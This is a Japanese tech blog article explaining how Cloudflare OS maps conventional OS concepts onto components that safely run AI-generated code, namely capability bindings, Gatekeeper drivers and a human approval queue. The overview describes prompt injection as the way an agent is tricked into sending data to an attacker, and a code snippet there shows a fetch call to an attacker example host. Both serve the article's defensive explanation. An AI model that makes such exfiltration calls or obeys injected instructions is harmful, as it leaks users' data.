# Cloudflare OSはどこまで本当に「OS」なのか

> Cloudflare OSのREADMEにはカーネル・ドライバ・シェルという本物のOSとの対応表が載っています。この表を1行ずつ読み解き、AI生成コードを安全に動かす構造がOSの設計思想の上に立っていることを解説します。

- 公開日: 2026-08-30
- 著者: 青木 陸
- タグ: Cloudflare, AIエージェント, セキュリティ
- URL: https://tech.anycloud.co.jp/articles/cloudflare-os-architecture

---

前回の記事では、Cloudflare OSが解こうとしている問題を「作者への信頼から、構造への信頼へ」という一言に整理しました。AIがコードを書く時代には「作者がちゃんとしているから安全」というSaaSの前提が使えなくなるため、どこの誰が書いたコードでも安全に動かせる構造を先に作ってしまう、という話です。

今回はその「構造」の中身を見ていきます。Cloudflare OSは [GitHub（cloudflare/cloudflare-os）](https://github.com/cloudflare/cloudflare-os) でオープンソースとして公開されており、本記事はこのリポジトリのREADMEと設計ドキュメント、ソースコードをもとに書いています。以降、本文で「README」「設計ドキュメント」と書いたときは、このリポジトリ内のものを指します。

手がかりにするのは、そのREADMEに載っている次の表です。

| Normal OS | Cloudflare OS |
|---|---|
| kernel | packages/workshop-backend |
| device drivers | packages/gatekeeper-* |
| shell | packages/workshop-frontend |
| processes | gadgets |
| executables | blueprints |
| users | users |
| ACLs | shared permissions |
| ??? | agents |

「OS」という命名は普通に考えればマーケティングですが、README自身は「entirely marketing ではない（it kind of is an Operating System）」と主張しています。この記事では、この表を上から順に1行ずつ見ていき、それぞれが「どんな課題を、どんな構造で解いているのか」を解説します。

先に前提として、本物のOSが何を解いた装置なのかを確認しておきます。

OSの本質的な仕事は、相互に信頼しない複数のプログラムを、1台の機械の上で安全に同居させることです。1950年代のバッチ処理の時代、コンピュータにOSらしいOSはありませんでした。プログラムは1本ずつ機械を丸ごと占有していたので、壊しても困るのは自分だけだったからです。転機は1960年代のタイムシェアリングです。高価な1台に大学中のユーザーが同時にログインするようになった瞬間、「Aさんのバグが、Bさんのメモリを破壊してはいけない」という問題が生まれました。OSとは相互不信の解決装置として生まれたのです。

その解決の中心にあるのが、特権の二層化です。危険な操作はカーネルだけが実行でき、アプリが危険な操作をしたければ、システムコールという唯一の窓口からカーネルに依頼するしかありません。壁を越える道が一本しかないなら、検問はその一箇所に置けば済みます。

## 概要:全体像と2つの設計原則

各行を見ていく前に、全体像を1枚で示しておきます。左が通常のOS、右がCloudflare OSです。どちらも「ユーザー → シェル → カーネル → プロセス → ドライバ → 外界」という同じ縦の流れをしています。

![通常のOSの構成図](./normal-os.webp)

![Cloudflare OSの構成図](./cloudflare-os.webp)

### 全体を貫く2つの設計原則

図の細部に入る前に、この設計全体を貫く原則を2つだけ押さえてください。以降のすべての章が、この2つの上に立っています。

**1つ目はケーパビリティです。** プログラムやプロセスに対して「特定の資源へのアクセス権や、特定の操作を実行する権限」を細分化して割り当てるセキュリティ機構のことです。

身近な例はホテルのカードキーです。ホテルは宿泊客に建物のマスターキーを渡しません。渡すのは自分の部屋だけ開くカード1枚で、チェックアウトすれば失効します。ホテルは客の人柄を審査しません。カードを持っていることが権限のすべてで、カードが開かないドアは、客にとって存在しないのと同じ。だから客が悪人でもカードを落としても、被害は構造的にその部屋までで頭打ちになります。人を審査する代わりに、渡す鍵の側に権限を焼き付ける——これがケーパビリティです。

Cloudflare OSでは、AIエージェントとGadgetがこの「宿泊客」にあたります。その実行環境には、ユーザーが「紹介」した資源への参照——Bindingと呼ばれ、ランタイム（Workersの実行エンジンで、オープンソースのworkerd）が強制します——だけが注入され、任意のURLへの`fetch`は無効化されています。図の「② 紹介されたBindingを注入」がカードの発行です。プロンプトインジェクション——エージェントが読み込むデータの中に攻撃者が指示を仕込み、実行させる攻撃——を受けたエージェントが、データを攻撃者に送ろうとすると、こうなります。

```ts
await env.GITHUB.listIssues();                 // 紹介されたドア。開く
await fetch("https://attacker.example", ...);  // 廊下にそんなドアはない。実行時エラー
```

「従わない判断をする」のではなく、「従おうとして失敗する」。判断は確率的ですが、構造は決定的です。プロンプトインジェクションが原理的に防げない（AIは読んだデータと従うべき指示を確実には区別できない）以上、騙された後でも実害が出ない構造にする——前回から続く設計思想の実装がこれです。なお、スコープを絞ったAPIトークンを環境変数で渡す従来方式との違いは、トークンは文字列なのでコードがコピーして持ち出せるのに対し、Bindingは参照だけで盗む対象が存在しないことです。

**2つ目は非同期承認です。** 書き込み——外部に影響が残る操作——は即座に実行されず、承認キューに積まれます。ただしエージェントは止まりません。Gatekeeperが「実行されたかのような」シミュレート結果を返すので、エージェントはその上に後続の作業を積んで仕事を最後まで完了させ、人間は後から都合のよいときに、キューをまとめて、あるいは1件ずつ承認・却下します。承認された瞬間に初めて実行され、却下されれば実行されずに終わる——CPUの投機実行と同じ構造で、承認がコミット、却下がロールバックです。適用の保証は「最大1回」で、同じ承認が人の指示なしに二度使われることはありません。

なぜ非同期なのかというと、従来の同期承認（操作のたびに止まって人間を待つ）が自壊するからです。READMEに印象的なシナリオがあります。エージェントにタスクを渡してコーヒーを取りに行き、戻ってみると最初の1ステップの承認待ちで止まっていて何も進んでいない。この体験を繰り返した人間は承認を全自動にしてしまい、安全装置が使いにくさによって自壊する。非同期承認はこの問題への答えであり、本記事で見ていく要素の中で唯一、通常のOSに対応物のない、Cloudflare OS独自の発明です。

この2つ——**渡した鍵の分だけが世界になる**、**書き込みは人間の目を通る**——を頭に置いて、表の1行目から見ていきます。

## カーネル = workshop-backend

課題は、権限検査を分散させると必ず漏れる、という古典的なものです。

Cloudflare OSでは、AIが書いたアプリ（Gadget）は外界へのアクセスがゼロの状態で起動し、外部リソースに触れる手段はworkshop-backendが注入したものしかありません。そして「このユーザー・このGadgetにこのリソースを渡してよいか」という検査は、コード上も単一の関数に集約されています。すべての特権操作が必ず通る一箇所の関所、というカーネルの構造そのままです。

では具体的に何をやっているのか。ソースのモジュール構成を見ると、職務は次のように並んでいます。

- **プロセス管理**:Blueprintのインスタンス化、GadgetのDynamic Workerとしての起動、Gadgetに与えるBinding一覧の組み立て
- **鍵の発行**:ケーパビリティ発行の単一チョークポイントと、誰がどのサービスを接続済みかの台帳
- **認証**:ログインフローとサインインプロバイダの解決
- **エージェントの監督**:エージェントのループ実行、LLMプロバイダへの接続、実行の記録
- **共有の検証**:Gadgetの共有リストと、後述する共有時の検証の調整
- **承認の配管**:承認キューの実体と、同じ承認が二度使われないことの保証
- **設定の正本**:管理者設定の保持

共通点に気づくでしょうか。すべて「裁定と台帳」の仕事です。重い計算はGadgetの中で、外部サービスの翻訳はドライバ（次章）で、表示はシェルで、隔離の実行はランタイムで行われ、カーネルには判断と記録だけが残る。本物のOSカーネルが「ポリシーの執行者」であるのと同じ設計です。

このスリムさには実務上の意味があります。リポジトリの開発ガイドには、workshop-backendはカーネルなので他のパッケージより高い基準でレビューし、レビュアーは変更の全行を読む、という趣旨のルールが明記されています。職務が裁定と台帳に絞られているから全行レビューが現実的なサイズに収まり、全行レビューされているからこそ、後述する「セキュリティ審査の対象をプラットフォーム1つに集約できる」という話が成立します。開発チーム自身がこのメタファを、命名ではなく規律として運用しているわけです。

## デバイスドライバ = Gatekeeper

対応表の2行目に進みます。本物のOSにおけるドライバの役割は、一言でいえば翻訳です。世の中にはプリンタだけで何千機種もあり、操作方法はメーカーの数だけバラバラです。カーネルやアプリが全機種の方言を知ることは不可能なので、翻訳の責任を切り出した層がドライバです。この分業の身近な成功例がUSBで、USB規格が「接続と識別」を標準化し、機種ごとの方言はドライバが翻訳する。おかげで、どんな機器も挿せば使える世界になりました。

Gatekeeperはこの構造の写しです。GitHub、Google、Notionといったバラバラな外部サービスのAPIを、統一的なインターフェース（Cap'n Web RPC）に翻訳してカーネルに見せます。サービスごとに1つの独立したWorkerとして実装されるので、新しいサービスへの対応はドライバの追加だけで済み、カーネルは変わりません。

ここで「その翻訳、MCPと同じでは？」と思ったかもしれません。その通りで、対応関係を並べるとこうなります。

| USBの世界 | AIエージェントの世界 |
|---|---|
| USB規格（接続と識別の標準） | MCPプロトコル |
| デバイス（機種ごとに方言） | 外部サービス（APIがバラバラ） |
| ドライバ（翻訳係） | MCPサーバー |
| 検証付きの翻訳係 | Gatekeeper |

MCPサーバー自体が、すでに「ドライバ」なのです。GitHub用MCPサーバーとは、GitHubのAPIをMCPプロトコルという標準形に翻訳するサービスごとのアダプタで、これはドライバの定義そのものです。ではGatekeeperは何が違うのか。READMEはGatekeeperを「supercharged MCP servers（強化版MCPサーバー）」と呼んでいます。同じ翻訳係のレイヤーに立ちながら、**翻訳に加えて検証まで行う**からです。

素のMCPサーバーは純粋な翻訳係です。「このツールは読み取り専用です」といった自己申告はしますが、それが本当かを保証する仕組みはなく、何を許すかはクライアント側の善意任せになります。Gatekeeperは翻訳に加えて、届いた依頼を読み取りか書き込みかに分類し、すべてを監査ログに記録し、書き込みは実行せずに承認キューへ回し、外部サービスのOAuthトークンは自分だけが保管してGadget側には一度も渡しません。概要で挙げた2つの原則——渡した鍵の分だけが世界、書き込みは人間の目を通る——の現場での執行者が、この検証部分です。

なおCloudflare OSはMCPを否定していません。同梱のMCP用Gatekeeperを使えば、既存のMCPサーバーに翻訳だけをさせて、検証を自分側で被せられます。世の中に既にあるMCPサーバーという資産を翻訳係として活かしながら、欠けていた検証を足す——superchargedの実用上の意味はこれです。

## シェル = workshop-frontend

対応表の3行目、シェルに進みます。シェルとは、人間の意図をOSへの依頼に翻訳する、特権を持たない対話層のことです。本物のOSでも、bashやデスクトップ環境は特権を一切持たない普通のプログラムであり、UIを信頼境界の外に置くことで、UI層のバグが権限侵害に直結しない構造になっています。

workshop-frontendも同じで、ブラウザで開くチャットUI——純粋なクライアントサイドSPAです。権限はすべてWebSocket越しのRPCの先、つまりカーネル側にあります。チャット欄はこのOSのコマンドラインに相当します。bashは打たれたコマンドを解釈してシステムコールに翻訳しますが、ここでは打たれた自然言語をエージェントが解釈してコードに翻訳し、実行します。コマンド言語が自然言語に置き換わったコマンドラインです。

さらに入れ子があります。GadgetのUIは、このシェルの中のsandboxedなiframeで動き、自分のサーバーとはpostMessage越しのRPCでしか通信できません。iframeからのその他のインターネットアクセスは、CSP（Content Security Policy——ページが通信してよい宛先をコードの外で宣言し、ブラウザが強制する仕組み）とiframeサンドボックス設定でブロックされます。サーバー側のBindingと同じ「許可リストをコードの外に置き、ランタイムが強制する」原則の、ブラウザ版です。「シェルは各プロセスの画面をホストするが、画面の中身にシェルの権限は渡さない」というウィンドウシステムの関係が、フロントエンド側にも再現されているわけです。

## プロセス = Gadget、実行ファイル = Blueprint

対応表の4行目と5行目はまとめて見ます。課題は、SaaS型の「全員が1つの共有アプリに接続する」モデルでは、1人の事故や改造が全員に波及することです。

Cloudflare OSの答えは、設計図（Blueprint）とそこから起動した実体（Gadget）を分け、ユーザーごとに自分のインスタンスを持たせることです。身近な例はモバイルアプリで、対応は次の表に収まります。

| 通常のOS | Cloudflare OS | モバイルアプリで言えば |
|---|---|---|
| 実行ファイル | Blueprint | 配布されるアプリ本体（＝ソースコードのコピー） |
| プロセス | Gadget | 端末にインストールされた自分のアプリ |
| プロセスの隔離されたメモリ空間 | Durable Object（Gadget専用のミニDB） | アプリごとのローカルストレージ |

全員がApp Storeから同じアプリをダウンロードしても、端末の中のデータは各自のもの——それと同じで、同じBlueprintから各自のGadgetが起動し、専用DBごと隔離されます。自分のコピーをAIにどれだけ改造させても、他人には影響しません。改造の自由は隔離の帰結です。README自身も、Blueprintを「モバイルアプリや伝統的なPCアプリにずっと近い。全ユーザーが自分のコピーを動かす」と説明しています。

専用DBはセキュリティ面でも決定的です。共有DBの世界では、ユーザー間のデータの壁は「DBに触れる全クエリが、全改修を通じて、永遠に正しく書かれ続けること」で保たれています。他人のデータを除外する条件が1箇所欠けるだけで、情報漏洩になる。AIにSaaS型のアプリを書かせるのが怖い本当の理由は、この壁——セキュリティの担い手——がAIの書く1行1行になることです。インスタンスごとにDBが分かれていれば、同じ条件漏れのバグを書いても、返ってくるのは自分のデータだけ。他人のデータは物理的にそこにありません。バグは「全ユーザーの情報漏洩」から「自分の画面が変になる不具合」に格下げされ、守っているのはコードの正しさではなく構造になります。

なお、隔離されるのは「Gadget自身が持つデータ」（設定、メモ、アプリ固有の状態）です。GadgetがGatekeeper越しに読むGitHubやNotion上のデータは元からチームの共有物で、隔離の対象ではありません。そちらは元のサービスの権限管理と、後述する共有時の検証が守ります。

最後に2点だけ補足します。Gadgetを誰かに共有すると、相手も同じDurable Objectに接続するため、リアルタイム共同編集が自然に成立します。またBlueprintが写すのはコードだけで、資格情報やBinding（権限）は含まれず、受け取った人は必要な接続を自分の権限で割り当て直します。ホテルのカードキーが宿泊者ごとに発行し直されるのと同じで、鍵はコードと一緒に旅しません。

## ユーザー = ユーザー

対応表で唯一、同じ言葉が並ぶ行です。人間のユーザーという概念は、そのまま持ち込まれています。

ただし「そのまま」であることには意味があります。この後の2行——共有の権限と、エージェント——は、どちらも「最終的な権限の主体は人間のユーザーだけである」ことを前提に設計されているからです。エージェントをユーザーとして扱わない、という後述の設計判断は、この行が変わっていないからこそ成立します。

## ACLs = shared permissions

対応表の7行目に入ります。ACL（アクセス制御リスト）とは、資源の側に「誰がアクセスできるか」のリストを置く権限管理の方式です。Cloudflare OSでは、人間同士の共有がこの方式で動きます。Googleドキュメントと同じ感覚で、ユーザーは自分のGadgetを他のユーザーに共有できます。

ここまで「渡した鍵の分だけが世界（ケーパビリティ）」と説明してきたのに、なぜ人間の層はACLなのか。人間は騙されても踏みとどまれますが、コードとLLMは騙されたら最後まで実行するからです。だから、人間同士の共有は直感的なACLで扱い、コードやエージェントが外部リソースに触れる層はケーパビリティで縛る、という二層になっています。

なお、共有されたGadgetが外部データ（プロセスの章で触れたGitHubやNotion上のデータ）への抜け道にならないよう、Gadgetを開く人が「その中身を自分の権限で直接読めるか」をGatekeeperが毎回検証します。共有できるのはアプリの入れ物であって、権限そのものではありません。だから誤共有しても中のデータは相手の権限までしか見えず、退職者の権限を元のサービス側で外せば、Gadget経由のアクセスも自動的に閉じます。

## ??? = agents

対応表の最後の行は、通常のOS側が「???」になっています。AIエージェントは、従来のOSの登場人物であるユーザーともプロセスとも違う、第三の主体です。人間のユーザーに帰属し説明責任を負いながら、そのユーザー本人より狭い権限で動くべき存在で、仕事のやり方はコードを書いてその場で実行すること。READMEはここで逆向きの問題提起をしています。これは本当は伝統的なOSに欠けている機能ではないか、伝統的なOSもAIエージェントを特別扱いすべき時が来ているのではないか、と。

## まとめ:構造が引き受けるもの、人間に残るもの

ここまで見てきた構造を、前回の主役だったプロンプトインジェクションの視点で一文に圧縮すると、こうなります。注入は防がない——原理的に防げないからです。その代わり、注入が成功しても、盗む対象がなく（トークンはGatekeeperの中から動かない）、送る出口がなく（Bindingの外は世界に存在しない）、壊せる範囲が狭く（渡した鍵と専用DBの分だけ）、書き込みは人間の目を通る（承認キュー）構造にしてある。第1回で「構造を信頼する」と呼んだものの正体は、この4つです。

ところで、この記事で見てきた課題の一覧は、別の文書と不思議なほど重なります。社内に新しいツールを導入するとき、情シスが審査で確認するセキュリティチェックリストです。

データはどこに保存され、誰が見られるのか（機密性）。権限は最小か、退職時に確実に失効するか（アクセス制御）。誤操作や暴走でデータが壊れないか（完全性）。誰がいつ何をしたか追えるか（監査）。これらは本記事で見てきた課題の一覧とほぼ同じです。偶然ではありません。情シスのチェックリストとは、構造的な保証を持たないソフトウェアを人力の審査で補うための道具であり、その項目は結局のところ、タイムシェアリング以来OSが構造で解いてきた問題のリストだからです。

だからOSの設計思想を忠実に借用したプラットフォームでは、チェックリストの多くの項目が「ツール1本ごとに審査で確認する事項」から「プラットフォームが構造で保証する性質」に変わります。

| 情シスの審査観点 | 対応する構造 | 扱い |
|---|---|---|
| 機密性（漏れないか） | 隔離＋Binding＋共有時の検証 | 構造が保証 |
| アクセス制御（最小権限・失効） | ケーパビリティ＋データソース側権限の再検証 | 構造が保証 |
| 完全性（壊れないか） | 承認キュー＋取り消し＋爆風半径の限定 | 構造が保証 |
| 監査（後から追えるか） | 全操作が関所を通るため構造的に記録 | 構造が保証 |
| 変更管理・サプライチェーン | 審査対象が無数のアプリからプラットフォーム1つに集約 | 集約 |
| コンプライアンス・契約 | — | 残る |

注目してほしいのは最下行です。規制対応や責任分界は構造では解けず、人と契約の仕事として丸ごと残ります。ただしこれはこの設計の欠陥ではありません。OSの古典的な設計原則である「メカニズムとポリシーの分離」の帰結です。OSは昔から、仕組みは提供しても、何を許すべきかという判断は提供しませんでした。ポリシーの判断が人間に残るのは、構造が正しく仕事を分けている証拠です。

その残った人間の仕事を、最小の形まで削ったものが次の3点です。1つ目は、データソース側の権限設定を正しく保つこと。共有時の検証はNotionやGitHub側の権限を忠実に写すだけで、そこがザルなら忠実にザルを写します。2つ目は、紹介の粒度を絞ること。被害の上限は渡したケーパビリティの範囲そのものです。3つ目は、承認キューをちゃんと読むこと。範囲内の悪用を捕まえる最後の層は人間で、めくら判を押せばこの層は消えます。

従来のやり方では、人間が注意すべき点はコードレビュー、トークンの棚卸し、共有設定の監査、ログの整備と無数にありました。構造は、それを3点に集約しました。

最後に、この集約を可能にしたものは何だったのかを振り返ると、それは個々の技術の新しさではありません。相互不信を前提に置く。特権操作は単一の関所に通す。実行はインスタンス単位で隔離する。権限は細分化した鍵として渡し、鍵の外は世界に存在しなくする。UIは信頼境界の外に置く——本記事で見てきた構造は、そのほとんどが、通常のOSが60年かけて確立し検証し続けてきた設計思想の適用でした。AIが書くコードという新しい問題に対して、Cloudflare OSは新しいセキュリティ理論を発明したのではなく、「信頼できないコードを安全に動かす」という同じ問題を解き続けてきたOSの設計思想に基づいた。**通常のOSの設計思想に基づいたからこそ、安全性を人の注意力ではなく構造そのものが保証する、構造的にセキュアな基盤の構築が可能になっている**——これがこの記事の結論であり、「Cloudflare OS」という名前の本当の意味です。

その基盤の上で人間に残った3点をどう運用するかは、実際に動かしてみるのが一番の近道です。Cloudflare OSはオープンソースで、pnpmが入っていれば `pnpm run-local` だけで手元のマシンでも丸ごと動きます。この記事の対応表を片手に、ぜひ中を覗いてみてください。
